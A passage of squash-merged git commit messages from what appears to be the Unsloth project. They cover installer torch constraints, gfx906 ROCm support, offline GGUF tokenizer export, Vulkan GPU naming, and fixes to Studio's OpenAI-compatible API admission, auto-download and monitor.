[NVIDIA, AMD, Intel, CPU only] x [unset, vulkan, hip, rocm, cpu] with the
legacy UNSLOTH_FORCE_VULKAN set as well, and asserts the published bundle
survives every one. WSL presents as Linux to this resolver, so it rides the
Linux row.
Also assert the guard is not vacuous: the same host still takes Vulkan once
the CPU pin is gone, so the matrix cannot pass on a resolver that had simply
stopped routing to Vulkan.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
test_torch_constraint.sh asserted how many times each pin appears in install.sh.
Every hardware branch assigns its own torch/torchvision/torchaudio triple, so
#7354 adding gfx906 pushed three of those counts up by one and Backend CI has
been red on main since:
FAIL: default TORCH_CONSTRAINT assignment exists (expected '1', got '2')
FAIL: hardcoded torch>=2.4 appears exactly once (expected '1', got '2')
FAIL: torchvision bounded (<0.26) at default + custom-leaf (expected '2', got '3')
FAIL: torchaudio bounded (<2.11) at default + custom-leaf (expected '2', got '3')
install.sh is correct; the numbers were the stale part. Assert the invariants
instead, so the next hardware branch is not a test edit:
- the default assignment is the top-level one, so anchor the grep at column 0
rather than counting every occurrence. An indented branch pin no longer
satisfies it, which the old count did not distinguish either.
- what "appears exactly once" really guarded is that no pip install line spells
a pin out instead of using "$TORCH_CONSTRAINT", so check that directly.
- companions must be bounded everywhere, so compare bounded assignments against
total assignments rather than pinning a count of 2. That is strictly stronger:
it now covers all 7, not the 2 the old numbers happened to name.
45 pass, 0 fail. Each new assertion fails when its property is broken: a bare or
unbounded companion, a hardcoded pin on an install line, or a missing top-level
default.
The `/~/` rule was root-anchored, so it only caught a stray "~" directory
created at the repo root. Tools run from a subdirectory create it there
instead, and studio/frontend/~/ once reached a PR as 708 tracked files (a
Node compile cache plus cwd markers). Unanchor it.
Also ignore /temp/, the repo-root scratch dir
tests/studio/test_chat_preset_builtin_invariants.py writes into. Nothing
under either path has ever been tracked on main.
* fix: keep offline GGUF export off the Hub for VLM tokenizers (#7481)
Resolve cached snapshot directories before loading PreTrainedTokenizerFast
during VLM processor fallback so transformers does not call is_base_mistral()
-> model_info() when HF_HUB_OFFLINE is set. Also probe the local cache in
_has_tokenizer_model instead of model_info when offline.
Fixesunslothai/unsloth#7481
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test: add real-cache offline GGUF integration checks for #7481
Download unsloth/gemma-3-270m-it-bnb-4bit (~430MB) and verify offline
snapshot resolution and tokenizer load with network blocked. Full unsloth
import tests remain GPU-gated.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: address Codex review on offline GGUF tokenizer paths (#7481)
- Only rewrite Hub repo ids to cached snapshot dirs when offline
- Copy tokenizer.model from cache offline in preserve_sentencepiece
- Do not cache negative offline tokenizer.model probe results
- Add regression tests for all three review items
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* fix: probe HF cache before model_info for local-only GGUF saves (#7481)
Always resolve tokenizer.model from the local Hub cache before calling
model_info, and skip Hub metadata when the tokenizer was loaded with
local_files_only or offline env vars. Fixes Codex review on PR #7482.
* Fix lint blocker, false-green tests and offline defaults for PR #7482
Drop the two unused _env_says_offline imports that fail the Source lint
import-hoist check.
test_has_tokenizer_model_offline_skips_model_info and its local_files_only
twin set model_info.side_effect = AssertionError, but _has_tokenizer_model
wraps that call in "except Exception: return False", so the AssertionError
was swallowed and both passed on the merge base with the fix absent. Assert
model_info.call_count == 0 instead; both now fail on the base with
assert 1 == 0.
The real-cache integration tests called hf_hub_download and
PreTrainedTokenizerFast directly, so they exercised plain huggingface_hub and
passed identically on both trees. Route them through the resolver this PR
adds, and gate the file at module level since importing unsloth needs a GPU
host either way.
_resolve_hub_repo_local_dir and _resolve_hub_repo_cached_file defaulted to
local_files_only = False, so a helper named "resolve local dir" would
download with backoff retries when called without the flag. Every caller
already passes it explicitly, so default it closed.
Use tempfile.gettempdir() rather than a hardcoded /tmp, which silently
skipped both files on Windows, the platform in the bug report. Patch
socket.socket connect rather than replacing the class, which broke
isinstance checks.
Wire the unit tests into the Bucket-A CI list; Repo tests (CPU) ignores
tests/saving, so none of these ran anywhere.
* docs: note transformers 4.57.2-5.5.4 window for local tokenizer resolve
Name the version range where from_pretrained still probes model_info under
local_files_only, and point at the 5.6.0 upstream fix so the helper can be
removed once the supported floor moves past it.
* fix: enable real-cache suite in offline GGUF integration runner
Pass UNSLOTH_INTEGRATION_IMPORT=1 into the pytest subprocess so the
documented runner actually executes the real-cache tests instead of
reporting success after only the fake-cache unit file runs.
* docs: note integration runner enables UNSLOTH_INTEGRATION_IMPORT
Document that the runner sets the gate itself and still needs a host
that can import unsloth.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep an explicit local_files_only load local-only at save time
transformers takes local_files_only as an explicit from_pretrained parameter,
so it never lands in tokenizer.init_kwargs, and _offline_aware_load restores
HF_HUB_OFFLINE / TRANSFORMERS_OFFLINE as soon as the load window closes. A VLM
loaded with local_files_only = True but no offline env var therefore came back
with the Hub repo id in name_or_path and nothing recording the request, so
_tokenizer_wants_local_only returned False on the later save and
_has_tokenizer_model fell through to HfApi.model_info - and then
_preserve_sentencepiece_tokenizer_assets fetched tokenizer.model from the Hub
with local_files_only = False. On a disconnected host that is a network wait
before the export gives up.
Stamp the load's local-only mode onto the returned processor and its tokenizer
inside the forced-offline window, and honour that stamp in
_tokenizer_wants_local_only, so the save path inherits the load's contract.
Verified against a real hub-cache layout whose snapshot has tokenizer metadata
but no tokenizer.model: before, one model_info call plus an hf_hub_download with
local_files_only = False; after, zero model_info calls and cache probes only.
Two tests added to tests/saving/test_offline_gguf_vlm_tokenizer_7481.py; both
fail with the loader_utils hunk reverted and pass with it in place.
* Carry the load's cache_dir through to saving for PR #7482
The local-only stamp added in e7b7400de preserved only the boolean. Saving
still derived its cache from HF_HUB_CACHE or HF_HOME, which does not see a
caller-supplied cache_dir, and FastBaseModel.from_pretrained threads one all
the way down. So a local_files_only load against a custom cache missed on the
probe, and the stamp then stopped the Hub fallback that used to cover it, and
tokenizer.model was silently left out of the GGUF staging directory.
Stamp the cache_dir alongside the local-only marker and prefer it at both
sites in save.py that derive one from the environment. Reverting save.py
alone, with the helper still present, fails the new test on behaviour.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Merge main and drop an unused import for PR #7482
Brings the branch up to date with main, which clears the stale Source lint
blocker inherited from #7476 by taking studio/backend/utils/hardware/__init__.py
out of this PR's changed-file set.
pytest was imported in the new test file and never used, which the
import-hoist check flags in its own right.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Comment-only follow-up to #7454. That change carried 523 comment lines, many of
them three and four line preambles where one line says the same thing. This
collapses them and drops the ones restating what the code already says, for a
net 77 lines.
Scope is limited to comments #7454 itself introduced. The files it touched hold
about 3,761 comments in total; the rest predate it and are untouched, verified
by checking that every removed line is one that commit added.
Nothing that records why a non-obvious decision was made was dropped, only
compressed. Still stated: the normcase-before-versus-after Windows separator
trap, the innermost-indexed-model rule for nested directories, an HTTPException
being a decision rather than a failure to decide, that only an explicit False is
anonymous to huggingface_hub while None borrows the server owner's login, the
fail-closed tri-state custom-code gate, and the regressions each test was
written for.
Code is provably unchanged: comment_tools.py check reports 17/17 files
comments-only. Backend CI command 10337 passed, 0 failed. tsc -b clean.
* Add CLI GPU memory mode selection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve manual GPU layer overrides
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Add community-maintained legacy support path for gfx906 (MI50 / Radeon VII)
rocm6.4+/7.x torch wheels bundle ROCm libraries whose Tensile kernels
dropped gfx906 (rocBLAS 'TensileLibrary.dat ... not read for gfx906',
ROCm/TheRock#1844), so on MI50/Vega 20 hosts with newer ROCm the
installer picked wheels that fail at the first BLAS call. The rocm6.3
index is the last one whose wheels run on gfx906 (torch 2.7.0 verified
on MI50 32GB, up to 2.9 in community use). Dynamo/Inductor codegen is
also broken on this arch, crashing compiled graphs that train fine in
eager mode.
- install.sh: when the runtime GPU is gfx906 and the picked index is
newer than rocm6.3, reroute torch to the rocm6.3 index and reset the
constraint trio to the default <2.11 window (a rocm7.2 pick raises
the floor to 2.11, which rocm6.3 cannot satisfy), with a legacy-path
warning.
- install_python_stack.py: mirror the reroute in _ensure_rocm_torch
using the _default pkg specs, including repairing an existing
+rocm7.x torch and leaving a working rocm6.3 install alone.
- device_type.py: default TORCHDYNAMO_DISABLE / TORCH_COMPILE_DISABLE /
UNSLOTH_COMPILE_DISABLE on gfx906 (setdefault, user override wins).
Windows allowlists are untouched: repo.amd.com publishes no gfx906
wheel family (verified in the RDNA2 enablement PR). 16-bit LoRA and
full finetuning work out of the box; 4-bit QLoRA needs a source-built
bitsandbytes for gfx906. Based on the verified MI50 32GB setup in
namnguyen0503/mi50-gfx906-unsloth-bnb4bit-lab.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: second Codex pass (bnb skip under pin, override beats Strix)
- Compute the gfx906 runtime-target flag independently of any torch-index
pin or Strix override, so the bitsandbytes skip still applies when a user
pins the ROCm index and sets UNSLOTH_ROCM_GFX_ARCH=gfx906 (the pin
suppresses the torch reroute, not the bnb skip). Probe only when no pin
is set (an explicit pin means don't second-guess it, matching the Strix
path's asserted no-probe invariant); an explicit gfx906 override needs
no probe.
- Let UNSLOTH_ROCM_GFX_ARCH=gfx906 suppress the Strix reroute (both
install.sh and install_python_stack.py) so a mixed Strix + MI50 host
routes to rocm6.3 instead of the gfx1151 wheels probe order would pick.
- Fix test_hardcoded_torch_constraint: the default <2.11 window literal now
legitimately appears on two TORCH_CONSTRAINT= assignments (default + the
gfx906 reroute reset after the rocm7.2 floor bump); assert it only ever
appears on assignment lines, never on a pip install line (its real intent).
New tests: bnb skipped under an explicit pin, gfx906 override wins over
Strix, install.sh suppresses Strix on the override. rocm_support +
selection + cross-platform parity: 667 passed; structural constraint 9/9.
* gfx906: collapse single-line asserts to match pre-commit formatting
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: keep bnb skip + rocm6.3 routing correct under pins and suffixed overrides
Address the four Codex P2 findings on #7354:
- bnb skip under a pinned index (install.sh + install_python_stack.py):
a real gfx906 host that pins UNSLOTH_TORCH_INDEX_URL to rocm6.3 without also
setting UNSLOTH_ROCM_GFX_ARCH no longer reinstalls the generic bitsandbytes
wheel over a source-built gfx906 bnb. A pin now suppresses only the torch
reroute, not the gfx906 detection used for the bnb skip (Python drops the pin
gate on _runtime_is_gfx906; bash _is_gfx906_bnb_skip probes via
_probe_amd_gfx_arch when the index is pinned).
- clear the Radeon marketing-name flag for every gfx906 target, not only when
the >=6.4 reroute fires, so a Radeon VII already on rocm6.3 does not divert to
the repo.radeon.com branch (whose wheels lack gfx906 kernels).
- normalize a copied HIP gcnArchName (gfx906:sramecc-:xnack- -> gfx906) before
the exact comparisons in install.sh and install_python_stack.py, mirroring
device_type.py.
Tests: relax the three Strix-pin tests (the gfx probe may now run for the bnb
flag but must not reroute the pinned index) and add coverage for the pinned
bnb skip, the suffixed override, and the bash Radeon-clear / pinned-probe paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* gfx906: log skipped vLLM aimv2 fix + robust source-scan test bounds
Follow-up review polish:
- import_fixes: log at info level when the vLLM aimv2 fix is skipped because
the dist metadata is unreadable, so the skip is diagnosable instead of silent.
- test_rocm_support: bound the gfx906 install.sh source-scan on the ';;' that
closes its case arm via a shared _gfx906_reroute_block helper, replacing the
brittle fixed-length (3200/3800) slices that shift when the block grows.
* gfx906: trim whitespace on UNSLOTH_ROCM_GFX_ARCH in install.sh (py parity)
The bash gfx906 comparisons lowercased and stripped the gfx906:… feature
suffix but not surrounding whitespace, while the Python paths do .strip().
A stray newline (e.g. export UNSLOTH_ROCM_GFX_ARCH=$(cmd)) would make bash
miss gfx906 while Python catches it. Trim with `tr -d '[:space:]'` at both
comparison sites so the reroute target and bnb-skip agree across bash/Python.
* gfx906: remove generic bitsandbytes pulled in transitively after the skip
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
* Vulkan GPUs: real device names and selectable ordinals
Rebases the durable half of #7356 onto the inference_gpu transport #7476
landed on main. Those two PRs solve an overlapping problem and disagree on
the data model, so merging #7356 as-is would ship two parallel Vulkan
device concepts with different index semantics. This keeps main's transport
and adds what #7356 had that #7476 does not.
- _vulkan_probe.py emits a 5th column, ggml's device description, sanitized
for the tab protocol and UTF-8 safe. Reader tolerates 4- or 5-column
output so an older probe still parses.
- llama_cpp gains _run_vulkan_probe (shared parse) and
vulkan_device_inventory (names + is_igpu + real totals).
- get_vulkan_inference_gpu_info reports the real name and an explicit
is_igpu instead of "Vulkan<i>" and a total == 0 guess.
- index_kind becomes "vulkan", not "relative", and gpu_ids picks are
supported on Vulkan builds once the probe enumerated ordinals. The XPU ban
no longer applies to them: a Vulkan pick is a ggml ordinal, not a torch-xpu
index, so it works on an Intel host too.
- Frontend picker reads the Vulkan inventory as the pickable set.
Memory deliberately still comes from _get_gpu_memory, not the inventory.
That path applies _apply_igpu_host_reserve_mib and zeroes a shared total;
budgeting an APU off its raw shared total would hand out the whole machine's
RAM with no OS headroom. Identity is joined onto it by ordinal, so a probe
failure degrades to Vulkan<i> names with the memory readings intact.
Dropped from #7356 as superseded: validate_vulkan_gpu_ids (main's
resolve_requested_gpu_ids already rejects duplicates and
_resolve_gguf_gpu_ids_for_request already probes for existence), the
gguf_devices transport, and the iGPU budget fallback in 71619891e, which
main's aggregateGpuMemoryTotalGb handles better by counting a shared pool
once.
Also keeps #7356's removal of the late diffusion raise, so the graceful
gpu_ids drop stays reachable for a GGUF only classified as diffusion after
download. #7415's real guard, _reject_vulkan_diffusion_gpu_ids_before_
teardown, is untouched.
Verified on Windows + Strix Halo: backend Vulkan/GPU-selection suites at the
same 4 pre-existing failures as main, tests/studio 1671 passed with no new
failures, frontend typecheck clean. Hardware confirmation of the underlying
behavior is on #7356 from @Bebiv24 (RX 9070 XT + RX 480).
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: LeoBorcherding <borchborchmail@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: say which model is missing instead of "No model loaded"
A /v1 request naming a model that is not downloaded returned the generic
"No model loaded. Call POST /inference/load first.", which cannot fix it.
Return 404 model_not_found naming the model and listing what can serve,
and make the API usage examples name a model the server actually has.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: page the API monitor, show model load/unload, pin the example quant
The monitor rendered all 50 retained entries in one scroller: page it 5 at a
time, freezing history while paged back so live traffic cannot reorder it.
Add model load/unload rows so the feed shows what the server is doing, and
stop the header rendering the loaded model as a raw host path. Advertise each
model's GGUF quant on /v1/models so the example pins repo:QUANT, and move the
auto-switch section above the monitor with shorter copy.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: optionally download a model named in an OpenAI API request
Auto-switch only ever loaded models already on disk, so naming one this
server does not have either 404s or, when something else is loaded, gets
quietly answered by the resident model.
Add openai_api_auto_download_model (off by default, gated on auto-switch).
When on, a /v1 request naming a GGUF repo that is not downloaded starts a
background fetch and returns 503 with Retry-After and a typed
model_downloading code. The resident model keeps serving in the meantime,
and the retry after the download completes is served by the new model
through the existing auto-switch path.
The download reuses the Hub manager's service layer, which already does
repo-id validation, casing, claim bookkeeping, disk preflight, resume and
cancel. The in-loader download is deliberately not used: it silently falls
back to a smaller quant under low disk, which is wrong when the caller
named an exact one.
Admission is narrow, since a request only needs an API key:
- namespace/name only, so gpt-4 and other foreign ids fall through to the
resident model exactly as before
- GGUF only, decided from the remote file list rather than the repo name
- anything declaring auto_map is refused, so trust_remote_code stays a
deliberate opt-in in the UI and can never be granted over the API
- a single download at a time, plus a free-disk reserve
- one model_info call answers existence, gating and the quant list, so a
missing repo, a gated repo and a wrong quant each get their own error
With the setting off every one of these paths is byte-identical to before.
Also:
- monitor rows for downloads, with a live percentage
- public_model_id resolves an HF cache snapshot to its repo id, so a
cache-loaded model is no longer labelled with a commit sha; this drops
the duplicate helper added for the monitor and fixes the same leak in
the inference status response
- the unedited sk-unsloth-YOUR_KEY from the copyable examples now says so
instead of "Invalid or expired API key"; every other bad key keeps the
generic message
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: add an Unload button to the API monitor
The monitor names the loaded model but offered no way to free it. Idle
auto-unload is the only existing release path, and it needs a TTL and a
wait.
The button sits next to Refresh, appears only while a model is loaded and
is disabled mid-unload. /unload matches on the internal identifier, which
this response deliberately omits because it would be a host path, so the
click reads it from /api/inference/status the same way the chat runtime
does rather than widening the monitor payload.
Also stamp the manual unload row with the quant, read before the teardown
clears it, so it reads repo:QUANT like the load row it pairs with.
* Studio: keep the API monitor Unload button visible when idle
It only rendered while a model was loaded, which hid the one manual
release path at exactly the moment someone goes looking for it. Render it
always, disabled with a "No model is loaded" tooltip when there is nothing
to free.
* Studio: never answer a named model with a different one
Asking for a model this server is not serving returned 200 from whatever
was resident. Requesting gemma-4-E2B-it-GGUF:UD-Q6_K_XL while UD-Q4_K_XL
was loaded got a confident answer from the wrong quant, with nothing in
the response saying so.
A name carrying a namespace (org/model, optionally :QUANT) is a concrete
reference, so 404 instead, with the reason:
- wrong quant -> names the quants that are actually downloaded
- not on disk -> lists what is available
- on disk but auto-switch off -> says to turn it on
Ids without a namespace (gpt-4, claude-3, default) are foreign labels
rather than references, so they still fall through to the resident model
and drop-in clients are unaffected. A bare org/model is still satisfied by
any loaded quant of that repo; only an explicit :QUANT must match.
The check runs whatever the auto-switch and auto-download toggles are,
since serving the wrong weights is wrong in every configuration. It is
skipped when nothing is loaded, where the existing no-model-loaded error
already says the right thing, and when the model is on disk with
auto-switch on, where a failed swap should still fall back.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: use a simpler prompt in the API usage examples
"What is Unsloth Studio?" rather than "Can Unsloth Studio do API calling?".
One constant feeds all nine snippet tabs.
* Studio: only refuse a model reference meant for this server
A namespace alone was treated as a concrete model reference, so a /v1
request naming anthropic/claude-3.5-sonnet, openai/gpt-4o or any other
LiteLLM or OpenRouter style vendor/model id started returning 404 instead
of being answered by the resident model. Refuse only on evidence the
caller meant this server: an explicit GGUF quant label, or a repo that is
actually on disk here. gpt-4 and vendor/model alike fall through again,
while the wrong-quant and wrong-repo cases this PR exists for still
refuse.
Also from review:
- Release the single download slot by object identity, not repo id. A
stale watcher could clear a newer download of the same repo and let a
second multi-GB fetch start alongside it.
- Catch BaseException around admission: CancelledError is not an
Exception, so a cancelled request stranded the slot for the process
lifetime.
- Honour the download service's accepted=False, which it returns without
raising for a cross-variant conflict, instead of promising a download
that was never dispatched.
- Treat a failed status probe as unknown rather than idle, so a transient
read cannot fail the monitor row and free the slot under a live worker.
- Check gated repos with auth_check. The Hub serves metadata for a gated
repo without granting its files, so the licence gate was being reported
as the unrelated custom-code refusal.
- Size the disk reserve from the download plan, which includes the mmproj
and MTP companions the worker fetches with every quant.
- Never fetch under the server's own HF token. The repo is named by
whoever holds an API key, so the ambient token let that key pull the
owner's private repos.
- Refuse an explicit quant on a backend with no quant identity, gated on
the suffix really being a quant so Ollama style :latest tags still match.
- Raise instead of falling through when the diagnosis fails: the mismatch
is already established by then, only the wording is uncertain.
- Report a failed switch as 503 model_switch_failed rather than answering
as the resident model.
- Fail an open monitor row under the same lock as the check, so a finish
landing in between cannot stamp an error onto a completed row.
- Usage examples never emit a hardcoded model id: the catalog is tri-state
and the panel asks for a model to be loaded instead of printing one the
server cannot serve. It also refreshes when the loaded model changes.
- Keep the monitor pager reachable while frozen entries expire.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: scope the auto-download 404 cache to the caller's credentials
The Hub answers 404 for a private repo the caller cannot see, so caching
that verdict per repo alone let one anonymous request mark a private repo
unservable for everyone for the whole TTL. A later caller sending a valid
X-Unsloth-HF-Token skipped the probe and fell through to the resident
model instead of downloading what it asked for. Keyed on the repo id plus
a digest of the token now, so the token itself is never held.
Two more from the same review:
- Clear the chat runtime checkpoint after unloading from the API monitor,
as the chat eject flow already does. The store went on treating the
freed checkpoint as loaded and the usage examples kept naming it.
- Point gated and not-found callers at the X-Unsloth-HF-Token header.
Automatic download deliberately ignores the server's own Hugging Face
identity, so telling the user to add a token in Studio sent them round
the same 403 forever.
* Studio: tighten the comments added by this branch
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: keep API auto-download off the server's Hugging Face identity
Passing None for the caller's token was not anonymous. spawn_worker
substitutes the backend's HF_TOKEN for a falsy one, and HfApi(token=None)
falls back to a cached login, so a repo named by an API-key holder could
still be fetched under the owner's Hub identity and land in the shared
catalog. The metadata probe and auth_check now pass an explicit False,
and dispatch threads allow_ambient_token=False so the worker stays
anonymous too. The flag defaults to True, so the UI download path keeps
the ambient fallback that private repos rely on.
Three more from the same review:
- Require an exact hf_variant match only when the suffix is really a
quant. The llama.cpp branch still compared Ollama style :latest and :8b
against the loaded quant and refused the resident model, which is the
opposite of what looks_like_quant classifies them as.
- Decode an HF cache repo id only when the models-- component is followed
by snapshots. An ordinary directory whose name merely starts with
models-- was being read as an encoded repo id.
- Return the probing response before consulting the job registry when an
adopted claim has no variant yet. A stale error on the whole-repo key
could otherwise release the slot the first request's probe still holds,
letting a second large download start beside it.
* Studio: stop treating a namespace as what decides model intent
The rule refused a reference only when it carried a namespace, which was
wrong in both directions. vendor/model is how LiteLLM and OpenRouter name
every provider, and a standalone or custom-folder GGUF is advertised
without one, so asking for a path-free local id such as model-Q4_K_M was
answered by whatever else happened to be resident. The slashless early
return is gone and the same evidence test now applies to every id: an
explicit quant, or a model that actually resolves here. gpt-4 and default
still fall through because they are not local, not because of their shape.
Also:
- Recognise bits-per-weight quant labels. _extract_quant_label emits
IQ4_XS-3.53bpw and the resolver and downloader both accept it, but
_GGUF_KNOWN_QUANT_RE has no bpw group, so looks_like_quant rejected a
reference the rest of the machinery understands.
- Upper-case the synthetic names handed to _pick_best_gguf. Its preference
tokens are upper case and matched case-sensitively, so a repo with
lower-case filenames skipped the preference and took the first entry,
which can be F16.
- Only offer a downloaded but unloaded model as a runnable example when
auto-switch is on. It is off by default, so the copied snippet hit the
no-model-loaded error, which is the failure this branch exists to fix.
The tool-passthrough cancel test stubbed asyncio.to_thread module-wide, so
it cancelled at the first thread hop rather than the generation hop it
means to test. Model resolution runs off the loop before the monitor row
opens, so that stub now passes the resolver through.
* Studio: tighten the comments added since the last pass
* Studio: match a resident model through its resolver alias
A manual load stores the model by its on-disk path while the resolver and
/v1/models advertise it as publisher/model, so _loaded_satisfies could not
recognise the alias. Reducing the resolution to a boolean then threw away
the load path that would have proved the match, and the request was
refused with 404 for a model the server was serving at that moment. Common
for LM Studio models and custom-folder aliases. The resolved path is
compared against the resident backend before anything is refused.
Also:
- Size disk admission on what is left to fetch. expected_bytes is the whole
plan, so a resumed quant or a companion already pulled in by another
quant was charged for twice and could 507 a download that fits. Cached
blobs are subtracted through existing_blob_bytes, the same accounting the
worker's own preflight does, and it falls open to the full size when no
blob hashes are available.
- Report a cancelled download as cancelled. The catch-all sent every state
other than complete or idle through fail_open, so a deliberate cancel
rendered as a download failure rather than the monitor's cancelled state.
- Keep polling the servable ids while nothing is loaded. The poll settled
as soon as auto-switch was on, so turning it back off left the examples
naming an unloaded model until something else remounted the panel.
* Studio: shorten the comments added in the last pass
* Studio: keep the FLA fast-path tests hermetic across transformers versions
_discover_fla_model_types scans the *installed* transformers for modeling
files importing `from fla.`, so `models/qwen3_5/` only exists from
transformers 5.x. The backend supports transformers>=4.51, and on a 4.x
install the Qwen3.5 gate returns False, so 14 tests in
test_training_worker_flash_attn.py silently exercised a no-op instead of the
install path and failed their call-count assertions.
Pin the discovered model_type set in those 14 tests, the same way
test_hook_does_not_install_tilelang_for_model_outside_allowlist already pins
it against newly added FLA model_types. Test-only change: the production
gate and the _discover_fla_model_types unit tests are untouched.
* Studio: keep the /v1 admission check off the model-scanning path
The admission check added here runs on every /v1 request, including with
auto-switch off, where the route used to return straight away. It called
resolve_local_gguf, whose index is cached for 5s and otherwise rebuilt by
walking ./models and every HF cache root, under a lock the next caller waits
on. On an install with a large cache that scan measured 6.1s, longer than the
TTL that is meant to amortise it, so steady traffic would keep rebuilding it.
Answer from the last built index instead and never rebuild from the request
path: a stale answer is fine here, since what is on disk barely moves and a
finished download already invalidates the index. The first request, before any
scan has completed, warms the index on a background thread and skips the check
rather than blocking on it. That also makes the lookup a dict read, so it no
longer needs handing to a thread.
Cold resolve on this box goes from 6152495us to 0.4us, and the whole hook now
costs the same for a foreign label as for the resident model.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: fix the admission hook's cold, stale and contended index paths
Five review items, four of them on the admission hook added here.
Skipping the check until the first scan lands also skipped explicit quant
mismatches, so the first request after startup could ask for :Q8_0 while
Q4_K_M was resident and be answered by it. The early return was redundant as
well: with an empty index resolved is None and here is False, so the gate below
already lets a bare name through and refuses an explicit quant, which is what
the except branch has always concluded. Dropped it and index_is_built with it.
index_is_built took _lock, which _index holds for the whole scan, so once a
warm was running every later request blocked on the event loop for exactly as
long as the scan it was there to avoid. The warm now has its own lock and reads
the timestamp unlocked, which is safe because _scan is only ever rebound.
Warming only when the index had never been built left a model fetched in the
Hub UI, or dropped into a scan folder, invisible for the life of the process,
since only the auto-download watcher calls invalidate_index. Warm on staleness
too, and unconditionally, so it refreshes within a TTL without a scan on the
request path. Rescanning is capped at a tenth of the scan's own duration: a big
install takes longer to scan than the TTL, and warming on the TTL alone would
keep a thread scanning continuously.
An Ollama-style tag names no quant, so the resolver misses it and auto-download
saw a model the resident one already answers to, then 404'd it for having no
such quant. Return early when the loaded model satisfies the reference.
Frontend: a cancelled download said "Model download failed", because the label
collapsed everything non-completed into failure.
The backend tests get an autouse fixture that stops the warm from walking the
developer's real HF caches; that scan starved the loop under the timing
sensitive streaming tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make /v1/models and the admission hook agree on what is local
Three review items, all on the seam between the catalog scan and the resolver
index, which run on separate schedules.
/v1/models can advertise a local GGUF the resolver has not indexed yet. A bare
id carries no quant to refuse on, so a client asking for one it had just been
handed was answered by the resident model instead. The hook now reads the
catalog cache as evidence too, never scanning it. It takes the path rather than
a yes/no because the converse also happens: the catalog can list the resident
weights under an alias the loaded entry does not answer to, and those must stay
served.
That alias was also emitted twice by /v1/models, once as the loaded basename a
manual load records and once as publisher/model marked unloaded, because the
dedup only compared ids. Compare the path as well.
A directly loaded standalone .gguf takes its quant from the filename, but the
resolver stores such files with no quants, so the advertised <stem>:<quant>
stopped resolving as soon as anything else loaded. Advertise a quant only when
that reference resolves, and downgrade only on a definite answer so a cold
index leaves the metadata alone.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: tighten the comments this branch adds
Collapse the multi-line notes in the auto-download path, the /v1 admission
hook and their tests to one line each, keeping the reason and dropping the
restatement. No behaviour change.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: four admission and catalog fixes from review
Lowercasing paths in _resolves_to_resident made /srv/models/Foo and
/srv/models/foo the same weights on any case-sensitive filesystem, so a request
for one could be answered by the other and /v1/models could mark the wrong
entry loaded. That helper now backs residency as well as admission, so use
os.path.normcase, which folds case only where the filesystem does.
Advertising a quant whenever the resolver could not disprove it kept the bug it
was meant to fix: a standalone .gguf loaded before the first scan still got
<stem>:<quant> published, and the usage examples persist that. No proof is not
proof, so omit it and warm the index instead.
A 401 from an expired or invalid X-Unsloth-HF-Token skipped the 403 and 404
branches and surfaced as "could not reach Hugging Face, retry shortly". It now
says to replace the token, kept apart from the gated refusal since a rejected
credential is not an unaccepted licence.
An image request naming an undownloaded text-only GGUF started the whole
download and only then hit the capability guard, which never sees a remote
target, so every retry 400d and the bytes were wasted. Thread require_vision
into admission and check it against the mmproj companions the disk preflight
already asks build_gguf_variant_plans for.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: make the Hub error fixture carry a status on both hub majors
The 401 test built HfHubHTTPError directly, which works on 0.x and fails on 1.x
where response is required and keyword-only, so all four Python jobs failed
while the same test passed locally.
_hub_error already handled both constructors, but the 0.x branch left the
exception with no response at all, and hf_error_status reads the status off it
for the types that do not encode it in their name. So it could only produce a
usable error on 1.x, which is why the test bypassed it. Attach the status when
the constructed exception lacks it, and use the helper.
Cover the helper itself against stand-ins for both constructor shapes, since
whichever hub is installed only ever exercises one of them.
